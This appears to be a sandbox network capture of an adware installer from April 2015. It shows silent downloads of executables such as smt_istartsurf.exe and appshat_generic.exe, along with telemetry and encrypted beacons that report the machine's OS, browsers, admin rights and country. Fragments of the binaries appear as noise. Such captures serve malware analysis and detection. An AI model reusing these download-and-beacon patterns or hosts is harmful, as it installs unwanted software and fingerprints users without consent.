Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /26666.ashx?e=hXeqmv1IpenVj9BNm3y5B0belg2D2pPZoOZ8Vy4PwRADt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/h6ZrthVcoqpWiZCCrzprTQ2/M8jJQIzSfeAVcyDPrG1hQC drCF7eFHh/LPABvBAscXPNbtq4ApuOFLk2t6neQ zLrLpIjsRXrErQ9Bnn0aBinJ8LMi7eV7pFa4WG8K/g9qubDp5/hPwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:55 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /installer.gif?action=started&app=65743&appver=0&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&mdat=&procstarttime=1429342579&procruntime=2&rnd=1429342581 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: j63pKleY0v6NPotIQPe2PlULtWX2RfWocPmWVyjFYFcBMph X539u3zYYvviZitP

x-amz-request-id: 28DB3CD017874EE3

Date: Sat, 18 Apr 2015 07:36:22 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: j63pKl
eY0v6NPotIQPe2PlULtWX2RfWocPmWVyjFYFcBMph X539u3zYYvviZitP..x-amz-requ
est-id: 28DB3CD017874EE3..Date: Sat, 18 Apr 2015 07:36:22 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;....


GET /installer.gif?action=finished&LFMR=_ffDll_0&app=65743&appver=&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_43&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=85899350029&asw=0&asw2=1082139141&asw3=-2147475456&asw4=34816&crtnm=na&procstarttime=1429342579&procruntime=10&rnd=1429342589 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: ztKKlsOag/961dsQ82Okoib52GxKxwls9iXtzu0ZEC5WZY6LO74v5UtNs5xss4hE

x-amz-request-id: FF7C1CA3F33D536E

Date: Sat, 18 Apr 2015 07:36:30 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:56 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3
GIF89a.............,...........D..;....


GET /apps.gif?action=install&app=65743&appver=&ver=1_36_01_22&version_date=15-04-17&bic=f1455de99fbc9c9080e7ed2fd747836eIE&verifier=b2eb32d323f5359842a735827d51a4f5&upi=f1455de99fbc9c9080e7ed2fd747836e&procid=AD83A898590847B7A51FB6ED434C2082PI&srcid=000820&subid=0&zdata=appshatmadness&browser=ie&browserver=10&default=ie&chver=41.0.2272.118&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1429342579&lifetime=0&silent=1&crtnm=na&procstarttime=1429342579&procruntime=10&rnd=1429342589 HTTP/1.1

Host: stats.neomapobjectrack.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: burJ/3Lff3ZUdMgqJMpOMoq3EBk1BpgU65esTZurvHuoGCx72lwvZQGTlNwDbdGQ

x-amz-request-id: 68BD5CCFB642FAE6

Date: Sat, 18 Apr 2015 07:36:30 GMT

Expires: Mon, 26 Jul 1997 05:00:00 GMT

Cache-Control: no-cache, must-revalidate

Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT

ETag: "28d6814f309ea289f847c69cf91194c6"

Content-Type: image/gif

Content-Length: 35

Server: AmazonS3

GIF89a.............,...........D..;HTTP/1.1 200 OK..x-amz-id-2: burJ/3
Lff3ZUdMgqJMpOMoq3EBk1BpgU65esTZurvHuoGCx72lwvZQGTlNwDbdGQ..x-amz-requ
est-id: 68BD5CCFB642FAE6..Date: Sat, 18 Apr 2015 07:36:30 GMT..Expires
: Mon, 26 Jul 1997 05:00:00 GMT..Cache-Control: no-cache, must-revalid
ate..Last-Modified: Wed, 01 Apr 2015 13:14:45 GMT..ETag: "28d6814f309e
a289f847c69cf91194c6"..Content-Type: image/gif..Content-Length: 35..Se
rver: AmazonS3..GIF89a.............,...........D..;..

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=587412-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Sat, 18 Apr 2015 07:34:36 GMT

Content-Type: application/octet-stream

Content-Length: 83916

Last-Modified: Wed, 15 Apr 2015 07:16:46 GMT

Connection: keep-alive

Expires: Tue, 21 Apr 2015 07:34:36 GMT

Cache-Control: max-age=259200

Content-Range: bytes 587412-671327/671328

MMMMMUuzt.............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
......(... ...@...............................~r......YRO..M"..M"..M".
.O$..S(..S).xH0.~L3.wG0.wH0.rE..xI1..YB.\TP.XRO..K...N!..O"..N"..N"..O
$.xI0.pE..ZSO..h:[email protected][email protected]_]..F...E..
.C...D...E...C...n5..l6..f>...n...s.[TO..L...I...J...I...s-..r...p0
..o1...j..._...k...l...m.ZTO..Y...K...I...w*..v,...h...i..i...Y...S...
{$..z&..x'...e...f..m...k...l...m...n...o...n...j...m...k...q...}....$
...*...*...7...?...D...;[email protected]...
............{...z...{...z...u.........................................
...............!.......$...!...&...'...*... ...-...*.../.../...3...3..
.5...6...5...7...7...8...;...=...?...7...V...p.....^][................
......................................................................
....j..........ttt.```................................................
..................................................................

<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1606&update4=nation,us&update5=language,en HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:35:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.88 ms","message":"store 4 action and 5 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:35:49 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.88 ms","message":"store 4 ac
tion and 5 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.dlzip1.istartsurf.finish,4 HTTP/1.1

Accept: */*

Accept-Encoding: */*

Connection: Keep-alive

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36

Host: xa.xingcloud.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:35:50 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:35:50 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=249864-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 35694

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 249864-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 3ff89417230c3ba285675742a503a229.cloudfront.net (CloudFront)

X-Amz-Cf-Id: RpUWCvIGZvVX8n1I1guE5ziBa0Fp1PQWtuiBDf9MWlPglIXURE65Bw==
..X..9f.q...%.@_e../xo....nFE5..b:.....I..}..ELr.......b.....=..Bq.G._
...|.eh:..B_]...'.q.T..XMz4N.@.....?.....Kg.I....f&.\.B6...........f..
Ff...,...i0E["...A/#.).....P..]..,.[..$.../..Q..>'...F.1.=.h.C ..l.
..Vc..^K]....z.Dp.<6.. .=..%$`.G...'..h..'"#......!^..}F7g..[.K..n~
.s..4fo%.K.....M...-......GM|V.......N..o...(.,........1...=...J{....~
v..C...HwM'rg=...Y..Y>Rj.[....=Xh%P.F(...Ph.D&..S.....EF..7....\.Z.
&/`..1q......(./..A.WWs.....L...:^.`....:......z.7.m.c.Xj(...z.....z._
.Y.Z.<..m....-F..-r.......yV....;\~....P...`qR..ue..Pad"..8.f&1/.w%
.e...m.....M].c..C.}.%_.s.WQxQ..1.WO.Ea.76.~..r.&..9..%8.0.......xE..$
..a/..*z.;khi.k".<}.....v....0)..a.&..Z..n..a|P.gjT....C.....[..W.g
.4.k|a.Zw-....k...?.{.......ZM......_.>i.@.`<#...y.S.<.;..kf.
.u.....6....$..}2..6.....h.U#.......j..=.{.4..}....@)..K...%...z^cxR."
.b....j.....T....U?is.3..L.D-v..{P....P....\...*..........NI.n.y...M..
..@...?d`N..k^...}....o5U.(..:'..|.c..wQ....)..T..y..uz.8......H...A..
..'}5....W.....u...@ ...s)........x..d.X.zz.p.....(.......c1..g.......
S..Q....Ae..&P;7./...A...%)'....~.q.T.3..j2..1..S.C..Dq.`...c.yZOpP..1
...z...D.3.f.__.F:.H......I..@.~...t..c.p.W.U."...1].>9..d:...i.6..
.....G{.mh..'...d..|{....:<.TZ..2I...._yI.fpG....S.??,[email protected]=r
.....{z.Q...Q.~.......t......1.]..Sf(.QD...6.%...5\.&HW......h.n*.j.cn
k..]....fz....W@... ..w...}.8...h.`n...........9>o.0.....pa.....U..
\e..%J.....`....OF.{.P &.....v..bk..n.c.M&..(.....8e.YZMw..R.M]Qa....o
.p.$g.D._.C...5........F.Pu{..n6...[.....T.&..N^[email protected].`2.<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 6b801ac10f082be347f745a20d39b611.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 1B01pCmdBA5u43YqUPbgqWwWX7HUDtZOAO1DfB9Nq8xF3YbDUHqZoQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /22693.ashx?e=xBG2NTmY QIdEfBWbuhmg3aA7ZGqv9/cjA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvNTpEYMGEbzhmLiUprcaueolse979EoWp36oJSZ1kRbBazzJrpQW66LlHmS0Zrngqa/u6z7Uinv/gCLB7Quosf1lhITs1b/36eyETj4nts NO517CUeh0QiwTxIUcsgQ w5ete8oeBwFl4bl7YkTc3OqYCe21t/MezMOWJzrgfWbd4d2eMBbtg9zz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqi0MPmR2YeEEaONN LdUOKbt353QWZx/1pNdTeugB sfTiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmn/Mv081ozH 6ysA rfm9WVifuVh7uYxtT09yWduw1Io46wiQiGDl8wEXVwQ9SUngoDsqST0hmVt HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:44 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Sat, 18 Apr 2015 07:35:44 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:35:56 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.64 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:35:56 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.64 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Sat, 18 Apr 2015 07:36:03 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sat, 18 Apr 20
15 07:36:03 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNyppyth6wyOCdIsM5CQpbEqki65yJGu/kM9wUerNkYXa cGaLtuFfn2qkIBIJiEncCR2hECPay5GurMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnYn7lYe7mMbU9PclnbsNSKOOsIkIhg5fMBF1cEPUlJ4JqWSC7 m/jK07xKwR3W9AY9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3nU2Z1SyzBY81o8H6qezB8RqTFlxlzn4VKX1U8GGWeNj61SjtAHPTC34i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrw5bx1Bs6wX97DtEfJQoroi4lKa3GrnqJbHve/RKFqd qCUmdZEWwW3rJXL3mb8g/H/jy8G4FGJY4SiD403Los HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=/k6kR j50trdzuE9Nz05xfoywfXhr77b0oMOQ2TsHtiRoZJTpqsyZxASc9FSZWyoGYsEX4kIHlu/0mFZouDnPiqbL3WeaiLbbOP3GaNYEyTVAezdf3aKUX8SRNladdM9bXKriifhG9zxHHFV7tnwhkh7wLZ3uox395lwett3Vo/ew7RHyUKK6IuJSmtxq56iWx73v0ShanfqglJnWRFsFhvkTv8oAvme3Ih1Kfu IMReuT yH/uLbphiW/DYdUZuL1XwldYyi6o6OPzltHHEh4SKAFSm7JN4Dvl1Ie0NYsXYWYJZ2G1R01VmUCJgsNE AYCsljvoJNwjLw3VULpGjCmtL90K5JhMVO wnJbdjPvjIThxN S9EwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdC/pgYcHdP8mbUTQJflqOXAaUNQllbcTcM6MHnBrJ0bNg0bPE7e2 oTUKlyBqhyltEfJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=GFrjZskQvqOfZNC1TqAoBNpU65qec/jhTEgCpOx0T0GQL2F0hg1RiTdGGPs8AIHkGuSf5ccJqhPvYQ7YSDf5fSyjQRapHyYcFRMRf/UHQ3n lPuSoguSWxrRu4kWrXNynl1xOKDZuhV32iCW81wbGK kG/OEXE6oMrPPaPUMpETG4Lnbcm9hh1KSSkgkzJM10ClxJsX5qO1ZySIyJVh8l6AwGw39X SPVPxSpXQH7h ov2qF7 s26xgpPxsF/Pl3421T7C4kylMMbsqBpZyLygFKvbxhXJ8 DxJ w6ryxW8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:43 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=obiBp3WOda9tb/LgACKPGtPoRc85Bdu1HtQ8g58Z64f7RH4w/5EvdQk4teRL0v HZuS0/O3oV2pBhrP9twY3lDDlic64H1m3f27u WcRw/YhuZ4SlmSTqro4IQ3JJ/8YLfpaYcwUXjumytkOxhhp1idvNRLeb/tYr6Qb84RcTqgys89o9QykRMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9U/FKldAfuH6i/aoXv6zbrGCk/GwX8 XfjbVPsLiTKUwxuyoGlnIvKJkwA4PeZyroPEn7DqvLFbw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sat, 18 Apr 2015 07:35:44 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 18 Apr 20
15 07:35:44 GMT..Content-Length: 0..

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d3dl09kxmzkap.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 12 Apr 2015 05:26:44 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 2036

X-Cache: Hit from cloudfront

Via: 1.1 8c9004920e47d52db1671ea2719afb43.cloudfront.net (CloudFront)

X-Amz-Cf-Id: al6trEW1CX216h-D-JbNrmNbLTJZG9FD0DgBhkJmCW3aXJoo5Hk9Uw==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d..k.X...84P..%V........O._.rg.7.g..`G4.$u.x<<< skipped >>>

GET /install.ashx?e=37A8KpTgCn/T6EXPOQXbtSAtJ9efAD8qWca3XTKXJfYriJQgYTNdKsv4S/K6mfkWhIAbznvPq9KP4omGccpXw4yox39H7ctICby7qJ3JU/SrJhv0HKSN7fI2lN9tDRbVkdht9YBbn9NoW7mKnZ2EeHpRzM4tyPZ3W7FDeAWA9Q/G654koUNxkLUc4qeQHCoOK1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8nXsIaxVmBeU79Kie/LCIfOGpkkoDB4y5kAJGoigvdQGp5xWkDFBX92oFYZy qCT/5K1sXKQZB4UkN5AqUm 96JtZ5hL1HPq8ny7WsPczQMmyLRljH8EFj00ma0WEFIKwgjT3PDNDBdmkhmqfz4qG /vt4TSnxe7XfnppDKwHRUtU0CISimmamQML/m4OXaZd gaeVbPF6HcvEyf30yPCIJLXqNtnRHDA4DzNDEy52qtOrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEY22HuccM6FSHGIuOi8NF5gp/f6zGVagwUxMwCYgWOHN1EG6qTBVfIHgRBnsRJih/WW/hePtCOfZ HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: wt94bf4ec-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: application/octet-stream

Content-Length: 2432

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]...$..b..X....wq.S.r.ImT...F...hpv"..
.P.........0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....4...0.U.."o....W.r.......s.t.V.5...^.7.u.........
..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._.1..[d80)....{. . .v...i.....
'..*..........B.!q..7p...1..r.....3... [email protected].]....Z....L.. a4.4.T
...d..N..z.N(.....N.-...R{..I?~..6}.,.^B..\.^[email protected](..&>p.
0..G......".......w..h.a...#....D.....3........."6e...5...vU..z..c....
y~......&.K../..!...e.(..F..U.........$.i.....k....D....-........?....
...C.......S..M.6/7..U...j.............H3..E......vB.88.a....=.v'@..W8
